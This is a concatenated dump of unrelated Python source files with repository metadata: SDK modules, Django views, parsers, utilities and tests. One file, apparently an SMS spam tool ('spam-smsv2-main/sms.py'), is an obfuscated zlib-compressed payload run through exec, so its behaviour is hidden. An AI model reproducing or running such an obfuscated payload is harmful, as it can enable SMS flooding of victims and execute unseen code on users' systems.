sdk/communication/azure-communication-chat/azure/communication/chat/_generated/models/__init__.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
1,916
2015-01-19T05:05:41.000Z
2022-03-31T19:36:44.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
46.242424
94
0.757973
try: from ._models_py3 import AddChatParticipantsRequest from ._models_py3 import AddChatParticipantsResult from ._models_py3 import ChatError from ._models_py3 import ChatMessage from ._models_py3 import ChatMessageContent from ._models_py3 import ChatMessageReadReceipt from ._models_py3 i...
true
true
f7749b66675b763a4358314ef0b3fd902cd76ab1
5,741
py
Python
lbrynet/core/client/StreamProgressManager.py
vyaspranjal33/lbry
e03e41ad3105ccc0d8d8891b0e9fa63f9bbfce34
[ "MIT" ]
null
null
null
lbrynet/core/client/StreamProgressManager.py
vyaspranjal33/lbry
e03e41ad3105ccc0d8d8891b0e9fa63f9bbfce34
[ "MIT" ]
110
2018-11-26T05:41:35.000Z
2021-08-03T15:37:20.000Z
lbrynet/core/client/StreamProgressManager.py
vyaspranjal33/lbry
e03e41ad3105ccc0d8d8891b0e9fa63f9bbfce34
[ "MIT" ]
1
2018-09-20T22:15:59.000Z
2018-09-20T22:15:59.000Z
import logging from twisted.internet import defer log = logging.getLogger(__name__) class StreamProgressManager: #implements(IProgressManager) def __init__(self, finished_callback, blob_manager, download_manager, delete_blob_after_finished=False): self.finished_callback = finished_...
34.584337
96
0.615921
import logging from twisted.internet import defer log = logging.getLogger(__name__) class StreamProgressManager: def __init__(self, finished_callback, blob_manager, download_manager, delete_blob_after_finished=False): self.finished_callback = finished_callback self.blob_man...
true
true
f7749bb45c49d48f9492334a3797e7526d6554b5
208
py
Python
python/testData/codeInsight/controlflow/While.py
06needhamt/intellij-community
63d7b8030e4fdefeb4760e511e289f7e6b3a5c5b
[ "Apache-2.0" ]
null
null
null
python/testData/codeInsight/controlflow/While.py
06needhamt/intellij-community
63d7b8030e4fdefeb4760e511e289f7e6b3a5c5b
[ "Apache-2.0" ]
null
null
null
python/testData/codeInsight/controlflow/While.py
06needhamt/intellij-community
63d7b8030e4fdefeb4760e511e289f7e6b3a5c5b
[ "Apache-2.0" ]
null
null
null
while c1: x = 1 else: y = 1 while c2: a = 1 break b = 1 else: c = 1 while c3: m = 1 if m: break n = 1 else: o = 1 while c4: m = 1 if m: break
8.666667
13
0.379808
while c1: x = 1 else: y = 1 while c2: a = 1 break b = 1 else: c = 1 while c3: m = 1 if m: break n = 1 else: o = 1 while c4: m = 1 if m: break
true
true
f7749c7d18eff49263cb706455cde1b6ec5e5a32
1,429
py
Python
aliyun-python-sdk-imm/aliyunsdkimm/request/v20170906/CompareFaceRequest.py
liumihust/aliyun-openapi-python-sdk
c7b5dd4befae4b9c59181654289f9272531207ef
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-imm/aliyunsdkimm/request/v20170906/CompareFaceRequest.py
liumihust/aliyun-openapi-python-sdk
c7b5dd4befae4b9c59181654289f9272531207ef
[ "Apache-2.0" ]
null
null
null
aliyun-python-sdk-imm/aliyunsdkimm/request/v20170906/CompareFaceRequest.py
liumihust/aliyun-openapi-python-sdk
c7b5dd4befae4b9c59181654289f9272531207ef
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
33.232558
70
0.754374
from aliyunsdkcore.request import RpcRequest class CompareFaceRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'imm', '2017-09-06', 'CompareFace','imm') def get_SrcUriB(self): return self.get_query_params().get('SrcUriB') def set_SrcUriB(self,SrcUriB): self.add_query_param('SrcUriB...
true
true
f7749cb59d94b8cd6fcac5c202b3a0074efab201
5,435
py
Python
game/spirit/user/views.py
Yoann-Vie/esgi-hearthstone
115d03426c7e8e80d89883b78ac72114c29bed12
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
game/spirit/user/views.py
Yoann-Vie/esgi-hearthstone
115d03426c7e8e80d89883b78ac72114c29bed12
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
game/spirit/user/views.py
Yoann-Vie/esgi-hearthstone
115d03426c7e8e80d89883b78ac72114c29bed12
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.contrib.auth.decorators import login_required from django.shortcuts import render, redirect, get_object_or_404 from django.urls import reverse from django.contrib.auth import get_user_model, update_session_auth_hash from django.contrib.auth.f...
30.027624
97
0.669917
from __future__ import unicode_literals from django.contrib.auth.decorators import login_required from django.shortcuts import render, redirect, get_object_or_404 from django.urls import reverse from django.contrib.auth import get_user_model, update_session_auth_hash from django.contrib.auth.forms import PasswordChan...
true
true
f7749d55a0625ab532a1ff0796772b3fffacdd25
7,404
py
Python
BaseTools/Source/Python/UPT/Parser/InfDefineSectionParser.py
ya-enot/edk2
40cb1f25d4237a483f53fa435308608095b27d1c
[ "BSD-2-Clause" ]
1
2019-05-15T17:30:34.000Z
2019-05-15T17:30:34.000Z
BaseTools/Source/Python/UPT/Parser/InfDefineSectionParser.py
ya-enot/edk2
40cb1f25d4237a483f53fa435308608095b27d1c
[ "BSD-2-Clause" ]
null
null
null
BaseTools/Source/Python/UPT/Parser/InfDefineSectionParser.py
ya-enot/edk2
40cb1f25d4237a483f53fa435308608095b27d1c
[ "BSD-2-Clause" ]
1
2019-12-03T22:35:48.000Z
2019-12-03T22:35:48.000Z
## @file # This file contained the parser for define sections in INF file # # Copyright (c) 2011, Intel Corporation. All rights reserved.<BR> # # This program and the accompanying materials are licensed and made available # under the terms and conditions of the BSD License which accompanies this # distributio...
37.583756
104
0.527958
import re from Library import DataType as DT from Library import GlobalData from Library.Parsing import MacroParser from Library.Misc import GetSplitValueList from Library.ParserValidate import IsValidArch from Object.Parser.InfCommonObject import InfLineCommentObject from Object.Parser.InfDefineObject impor...
true
true
f7749d717bf2cf20efd415a97d69a261dbbc842e
6,385
py
Python
sidekick-experimental/sidekick/experimental/contrib/string.py
fabiommendes/sidekick
993ae7b8496347ad9720d3ff11e10ab946c3a800
[ "MIT" ]
32
2017-08-10T09:42:51.000Z
2022-03-18T17:21:26.000Z
sidekick-experimental/sidekick/experimental/contrib/string.py
fabiommendes/sidekick
993ae7b8496347ad9720d3ff11e10ab946c3a800
[ "MIT" ]
1
2019-04-10T13:07:45.000Z
2019-04-18T02:27:47.000Z
sidekick-experimental/sidekick/experimental/contrib/string.py
fabiommendes/sidekick
993ae7b8496347ad9720d3ff11e10ab946c3a800
[ "MIT" ]
5
2017-10-10T13:43:23.000Z
2019-06-18T00:09:15.000Z
import re import textwrap import typing as typ from warnings import warn from sidekick.typing import Func from sidekick.functions import fn Fn1 = fn.annotate(1) Fn2 = fn.annotate(2) Fn3 = fn.annotate(3) Fn1Opt = fn.annotate(1) Fn2Opt = fn.annotate(2) Fn3Opt = fn.annotate(3) # from inflection import NOT_GIVEN = objec...
25.438247
85
0.686922
import re import textwrap import typing as typ from warnings import warn from sidekick.typing import Func from sidekick.functions import fn Fn1 = fn.annotate(1) Fn2 = fn.annotate(2) Fn3 = fn.annotate(3) Fn1Opt = fn.annotate(1) Fn2Opt = fn.annotate(2) Fn3Opt = fn.annotate(3) NOT_GIVEN = object() PredOrBool = typ.Unio...
true
true
f7749e99998aaaf23feed5707799f2c545eeab6f
13,109
py
Python
tronpytool/main.py
tokenchain/tronpytool
42253e0afb71dcd0f773eda417de92cde9c6ca21
[ "MIT" ]
null
null
null
tronpytool/main.py
tokenchain/tronpytool
42253e0afb71dcd0f773eda417de92cde9c6ca21
[ "MIT" ]
null
null
null
tronpytool/main.py
tokenchain/tronpytool
42253e0afb71dcd0f773eda417de92cde9c6ca21
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # -------------------------------------------------------------------- # Copyright (c) iEXBase. All rights reserved. # Licensed under the MIT License. # See License.txt in the project root for license information. # ----------------------------------------------------...
33.699229
109
0.605538
from urllib.parse import urlencode from eth_utils import ( apply_to_return_value, keccak as tron_keccak, ) from hexbytes import HexBytes from trx_utils import ( to_sun, from_sun, is_integer, add_0x_prefix, remove_0x_prefix, is_address, to_hex ) from . import co...
true
true
f7749fdaedd8e022c278bc7aa238ce83f28d8810
13,035
py
Python
manim/utils/hashing.py
elletech/practice_manim
83671e9e801490ce84100da3a684e369860fda37
[ "MIT" ]
1
2021-05-06T13:05:01.000Z
2021-05-06T13:05:01.000Z
manim/utils/hashing.py
elletech/practice_manim
83671e9e801490ce84100da3a684e369860fda37
[ "MIT" ]
null
null
null
manim/utils/hashing.py
elletech/practice_manim
83671e9e801490ce84100da3a684e369860fda37
[ "MIT" ]
null
null
null
"""Utilities for scene caching.""" import json import zlib import inspect import copy import numpy as np from types import ModuleType, MappingProxyType, FunctionType, MethodType from time import perf_counter from .. import logger ALREADY_PROCESSED_ID = {} class CustomEncoder(json.JSONEncoder): def default(self...
41.778846
221
0.63552
import json import zlib import inspect import copy import numpy as np from types import ModuleType, MappingProxyType, FunctionType, MethodType from time import perf_counter from .. import logger ALREADY_PROCESSED_ID = {} class CustomEncoder(json.JSONEncoder): def default(self, obj): if not (isinstance(...
true
true
f7749ff3f98b8c8905455d7b3ef9d43dfcbb1f34
396
py
Python
flaming/AppFlaming/migrations/0003_stockproducto_preciostock.py
TinchoCasazza/inventarioFlaming
8e54f741554aef4d82dab752f8a518bc0405223d
[ "MIT" ]
null
null
null
flaming/AppFlaming/migrations/0003_stockproducto_preciostock.py
TinchoCasazza/inventarioFlaming
8e54f741554aef4d82dab752f8a518bc0405223d
[ "MIT" ]
null
null
null
flaming/AppFlaming/migrations/0003_stockproducto_preciostock.py
TinchoCasazza/inventarioFlaming
8e54f741554aef4d82dab752f8a518bc0405223d
[ "MIT" ]
null
null
null
# Generated by Django 2.1.3 on 2018-12-18 22:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('AppFlaming', '0002_auto_20181218_2121'), ] operations = [ migrations.AddField( model_name='stockproducto', name='pre...
20.842105
50
0.608586
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('AppFlaming', '0002_auto_20181218_2121'), ] operations = [ migrations.AddField( model_name='stockproducto', name='precioStock', field=models.FloatField(d...
true
true
f7749ffa121c73442200ccebbeee54d0a6134290
20,109
py
Python
src/scripts/scripts.py
Kelketek/evennia
cc56a7155f4fb975a6fc9e811bd6eadf3d710243
[ "BSD-3-Clause" ]
5
2015-01-30T08:47:59.000Z
2022-01-22T19:27:03.000Z
src/scripts/scripts.py
Kelketek/evennia
cc56a7155f4fb975a6fc9e811bd6eadf3d710243
[ "BSD-3-Clause" ]
2
2017-12-28T21:36:48.000Z
2017-12-28T21:36:57.000Z
src/scripts/scripts.py
Kelketek/evennia
cc56a7155f4fb975a6fc9e811bd6eadf3d710243
[ "BSD-3-Clause" ]
1
2019-01-05T15:51:37.000Z
2019-01-05T15:51:37.000Z
""" This module contains the base Script class that all scripts are inheriting from. It also defines a few common scripts. """ from twisted.internet.defer import Deferred, maybeDeferred from twisted.internet.task import LoopingCall from django.conf import settings from django.utils.translation import ugettext as _ fr...
34.25724
102
0.589089
""" This module contains the base Script class that all scripts are inheriting from. It also defines a few common scripts. """ from twisted.internet.defer import Deferred, maybeDeferred from twisted.internet.task import LoopingCall from django.conf import settings from django.utils.translation import ugettext as _ fr...
false
true
f774a0ba713c3343f3d44a557f3530daefc06a85
1,379
py
Python
projeto2/question2.py
viniciusd/DCO1008---Digital-Signal-Processing
a2756cb577bcdaf8852e2ef766732799cde7f5a3
[ "MIT" ]
null
null
null
projeto2/question2.py
viniciusd/DCO1008---Digital-Signal-Processing
a2756cb577bcdaf8852e2ef766732799cde7f5a3
[ "MIT" ]
null
null
null
projeto2/question2.py
viniciusd/DCO1008---Digital-Signal-Processing
a2756cb577bcdaf8852e2ef766732799cde7f5a3
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import numpy as np from scipy.io import loadmat from scipy.interpolate import interp1d def _load_signal(name): try: sig = loadmat(name) except FileNotFoundError: raise condition = name.split('_')[-1] sig['t'] = sig.pop('t_%s' % condition).flatten() s...
25.537037
59
0.593909
import matplotlib.pyplot as plt import numpy as np from scipy.io import loadmat from scipy.interpolate import interp1d def _load_signal(name): try: sig = loadmat(name) except FileNotFoundError: raise condition = name.split('_')[-1] sig['t'] = sig.pop('t_%s' % condition).flatten() s...
true
true
f774a12a22a23bd952796d0eddf8a54ad20568ce
9,357
py
Python
sdk/python/pulumi_oci/objectstorage/get_preauthrequest.py
EladGabay/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
5
2021-08-17T11:14:46.000Z
2021-12-31T02:07:03.000Z
sdk/python/pulumi_oci/objectstorage/get_preauthrequest.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
1
2021-09-06T11:21:29.000Z
2021-09-06T11:21:29.000Z
sdk/python/pulumi_oci/objectstorage/get_preauthrequest.py
pulumi-oci/pulumi-oci
6841e27d4a1a7e15c672306b769912efbfd3ba99
[ "ECL-2.0", "Apache-2.0" ]
2
2021-08-24T23:31:30.000Z
2022-01-02T19:26:54.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
41.402655
306
0.668163
import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = [ 'GetPreauthrequestResult', 'AwaitableGetPreauthrequestResult', 'get_preauthrequest', ] @pulumi.output_type class GetPreauthrequestResult: def ...
true
true
f774a1a3ea0dcf1a9d61c31f716da73bec8125a3
2,477
py
Python
pypy/lib/distributed/socklayer.py
camillobruni/pygirl
ddbd442d53061d6ff4af831c1eab153bcc771b5a
[ "MIT" ]
12
2016-01-06T07:10:28.000Z
2021-05-13T23:02:02.000Z
pypy/lib/distributed/socklayer.py
woodrow/pyoac
b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7
[ "MIT" ]
null
null
null
pypy/lib/distributed/socklayer.py
woodrow/pyoac
b5dc59e6a38e7912db47f26fb23ffa4764a3c0e7
[ "MIT" ]
2
2016-07-29T07:09:50.000Z
2016-10-16T08:50:26.000Z
import py from socket import socket from py.__.green.msgstruct import decodemessage, message from socket import socket, AF_INET, SOCK_STREAM import marshal import sys TRACE = False def trace(msg): if TRACE: print >>sys.stderr, msg class Finished(Exception): pass class SocketWrapper(object): def ...
30.207317
73
0.675818
import py from socket import socket from py.__.green.msgstruct import decodemessage, message from socket import socket, AF_INET, SOCK_STREAM import marshal import sys TRACE = False def trace(msg): if TRACE: print >>sys.stderr, msg class Finished(Exception): pass class SocketWrapper(object): def ...
false
true
f774a1ce5ffcd3626ac64820288835ef129eb3b6
3,467
py
Python
twodlearn/core/autoinit.py
danmar3/twodlearn
02b23bf07618d5288e338bd8f312cc38aa58c195
[ "Apache-2.0" ]
null
null
null
twodlearn/core/autoinit.py
danmar3/twodlearn
02b23bf07618d5288e338bd8f312cc38aa58c195
[ "Apache-2.0" ]
null
null
null
twodlearn/core/autoinit.py
danmar3/twodlearn
02b23bf07618d5288e338bd8f312cc38aa58c195
[ "Apache-2.0" ]
null
null
null
import numpy as np import tensorflow as tf from . import variable from .options import global_options class AutoinitType(object): ''' Base class to identify auto initializers ''' pass class AutoInit(object): ''' Indicates that the property should be auto initialized Example: :: TdlModel(pr...
29.632479
78
0.624748
import numpy as np import tensorflow as tf from . import variable from .options import global_options class AutoinitType(object): pass class AutoInit(object): class AutoTensor(AutoinitType): def __call__(self, value): if isinstance(value, tf.Tensor): return value else: ...
true
true
f774a20d2cf251c20b96cdf8c44976d609130eaa
617
py
Python
ckanext/repeating/plugins.py
SamuelBradley/ckanext-repeating
d4ac5915b69b84e25dec8f9429c93a1ef4d8ca29
[ "MIT" ]
5
2015-02-19T17:51:10.000Z
2020-10-01T09:13:46.000Z
ckanext/repeating/plugins.py
eawag-rdm/ckanext-repeating_s
b001d6c3e4eb5e7e4c533eba5ef8384aa94d95df
[ "MIT" ]
3
2015-04-15T16:13:13.000Z
2021-01-13T15:26:39.000Z
ckanext/repeating/plugins.py
eawag-rdm/ckanext-repeating_s
b001d6c3e4eb5e7e4c533eba5ef8384aa94d95df
[ "MIT" ]
20
2015-04-15T15:32:56.000Z
2021-09-16T08:00:03.000Z
import ckan.plugins as p from ckan.plugins.toolkit import add_template_directory from ckanext.repeating import validators class RepeatingPlugin(p.SingletonPlugin): p.implements(p.IValidators) p.implements(p.IConfigurer) def update_config(self, config): """ We have some form snippets tha...
25.708333
64
0.67423
import ckan.plugins as p from ckan.plugins.toolkit import add_template_directory from ckanext.repeating import validators class RepeatingPlugin(p.SingletonPlugin): p.implements(p.IValidators) p.implements(p.IConfigurer) def update_config(self, config): add_template_directory(config, 'templates'...
true
true
f774a31138675788e13ad11af124d9b37bf57fff
7,275
py
Python
fuji_server/models/data_file_format.py
FAIRsFAIR/fuji
71b771ec29b4a4405720b87a32631d05f4543a7b
[ "MIT" ]
null
null
null
fuji_server/models/data_file_format.py
FAIRsFAIR/fuji
71b771ec29b4a4405720b87a32631d05f4543a7b
[ "MIT" ]
null
null
null
fuji_server/models/data_file_format.py
FAIRsFAIR/fuji
71b771ec29b4a4405720b87a32631d05f4543a7b
[ "MIT" ]
null
null
null
# coding: utf-8 from __future__ import absolute_import from datetime import date, datetime # noqa: F401 from typing import List, Dict # noqa: F401 from fuji_server.models.base_model_ import Model from fuji_server.models.data_file_format_output import DataFileFormatOutput # noqa: F401,E501 from fuji_server.models....
30.696203
222
0.631203
from __future__ import absolute_import from datetime import date, datetime from typing import List, Dict from fuji_server.models.base_model_ import Model from fuji_server.models.data_file_format_output import DataFileFormatOutput from fuji_server.models.debug import Debug from fuji_server.models.fair_result_comm...
true
true
f774a33f254c32a9545c047842ea24631c0432ce
3,079
py
Python
utilities/utilities.py
kamodulin/TRAILMAP
1700eca3db070b02132ac1d9db8b9a80323d02cb
[ "MIT" ]
29
2019-11-12T22:36:51.000Z
2021-12-16T00:11:44.000Z
utilities/utilities.py
kamodulin/TRAILMAP
1700eca3db070b02132ac1d9db8b9a80323d02cb
[ "MIT" ]
14
2019-11-06T19:19:00.000Z
2022-01-25T21:14:13.000Z
utilities/utilities.py
kamodulin/TRAILMAP
1700eca3db070b02132ac1d9db8b9a80323d02cb
[ "MIT" ]
13
2019-10-22T12:53:33.000Z
2022-03-15T20:15:52.000Z
import numpy as np import cv2 import os from os import listdir, makedirs from os.path import join from PIL import Image import shutil import sys def crop_numpy(dim1, dim2, dim3, vol): return vol[dim1:vol.shape[0] - dim1, dim2:vol.shape[1] - dim2, dim3:vol.shape[2] - dim3] def write_tiff_stack(vol, fname): im...
21.992857
120
0.624553
import numpy as np import cv2 import os from os import listdir, makedirs from os.path import join from PIL import Image import shutil import sys def crop_numpy(dim1, dim2, dim3, vol): return vol[dim1:vol.shape[0] - dim1, dim2:vol.shape[1] - dim2, dim3:vol.shape[2] - dim3] def write_tiff_stack(vol, fname): im...
true
true
f774a4ecb9efc100c60cbcc222f2a64414f3b5b9
1,625
py
Python
Domain/subdataset1_domain/subdataset1_mesh.py
pprachas/ABC_dataset
61c915853c0229295e728f869b11b113ee59f098
[ "MIT" ]
null
null
null
Domain/subdataset1_domain/subdataset1_mesh.py
pprachas/ABC_dataset
61c915853c0229295e728f869b11b113ee59f098
[ "MIT" ]
null
null
null
Domain/subdataset1_domain/subdataset1_mesh.py
pprachas/ABC_dataset
61c915853c0229295e728f869b11b113ee59f098
[ "MIT" ]
null
null
null
import numpy as np import pygmsh import meshio import sys #---------------------Beam Parameters----------------------------# L = 40 # length of beam w = 5 # wdith of beam r_max = w/10 r_min = w/15 #----------------------------------Import Files---------------------# # Change to directory of dowloaded txt ...
32.5
102
0.534154
import numpy as np import pygmsh import meshio import sys L = 40 w = 5 r_max = w/10 r_min = w/15 f_x = 'subdataset1_geometry/x.npy' f_l = 'subdataset1_geometry/l.npy' x = np.load(f_x) l = np.load(f_l) for ii in range(0,len(x)): geom = pygmsh.opencascade.Geometry(characteristic_length_min=r_min,char...
true
true
f774a531cf5621232c601467d685b656228d11ef
1,018
py
Python
tests/plugins/pull/test_simple_repeat.py
HazardDede/pnp
469ca17254dcca1a4eefe0dc5ac574692a9ab38e
[ "MIT" ]
4
2018-10-07T11:32:00.000Z
2019-04-23T09:34:23.000Z
tests/plugins/pull/test_simple_repeat.py
HazardDede/pnp
469ca17254dcca1a4eefe0dc5ac574692a9ab38e
[ "MIT" ]
null
null
null
tests/plugins/pull/test_simple_repeat.py
HazardDede/pnp
469ca17254dcca1a4eefe0dc5ac574692a9ab38e
[ "MIT" ]
1
2019-08-12T19:56:10.000Z
2019-08-12T19:56:10.000Z
import time import pytest from pnp.plugins.pull.simple import Repeat from . import make_runner, start_runner @pytest.mark.asyncio async def test_repeat_pull(): events = [] def callback(plugin, payload): events.append(payload) dut = Repeat(name='pytest', repeat="Hello World", wait=0.001) run...
29.085714
79
0.665029
import time import pytest from pnp.plugins.pull.simple import Repeat from . import make_runner, start_runner @pytest.mark.asyncio async def test_repeat_pull(): events = [] def callback(plugin, payload): events.append(payload) dut = Repeat(name='pytest', repeat="Hello World", wait=0.001) run...
true
true
f774a591067741353b230217c694759cfc9db504
272,398
py
Python
spam-smsv2-main/sms.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
spam-smsv2-main/sms.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
spam-smsv2-main/sms.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
# Compile by Sanz # Youtube : FREE TUTORIAL # Github : https://github.com/Sxp-ID # Mau recode ya? Izin dulu Slur >_< sanz=((lambda _____, ______ : ______(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 122, 108, 105, 98, 34, 41, 46, 100, 101, 99, 11...
45,399.666667
272,279
0.73531
sanz=((lambda _____, ______ : ______(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 122, 108, 105, 98, 34, 41, 46, 100, 101, 99, 111, 109, 112, 114, 101, 115, 115],chr))(_____),"<Sanz>","exec"))(b'x\x9c\xec\xbdY{\xd3\xc8\x1a-|\x7f~\x05\xcd\xd4t3D\xb...
true
true
f774a722134bdb081575bb4b46e29d9d6d905c75
1,084
py
Python
alipay/aop/api/response/MybankPaymentTradeBankRootQueryResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
213
2018-08-27T16:49:32.000Z
2021-12-29T04:34:12.000Z
alipay/aop/api/response/MybankPaymentTradeBankRootQueryResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
29
2018-09-29T06:43:00.000Z
2021-09-02T03:27:32.000Z
alipay/aop/api/response/MybankPaymentTradeBankRootQueryResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
59
2018-08-27T16:59:26.000Z
2022-03-25T10:08:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse from alipay.aop.api.domain.Institution import Institution class MybankPaymentTradeBankRootQueryResponse(AlipayResponse): def __init__(self): super(MybankPaymentTradeBankRootQueryRe...
32.848485
112
0.682657
import json from alipay.aop.api.response.AlipayResponse import AlipayResponse from alipay.aop.api.domain.Institution import Institution class MybankPaymentTradeBankRootQueryResponse(AlipayResponse): def __init__(self): super(MybankPaymentTradeBankRootQueryResponse, self).__init__() self._bank_de...
true
true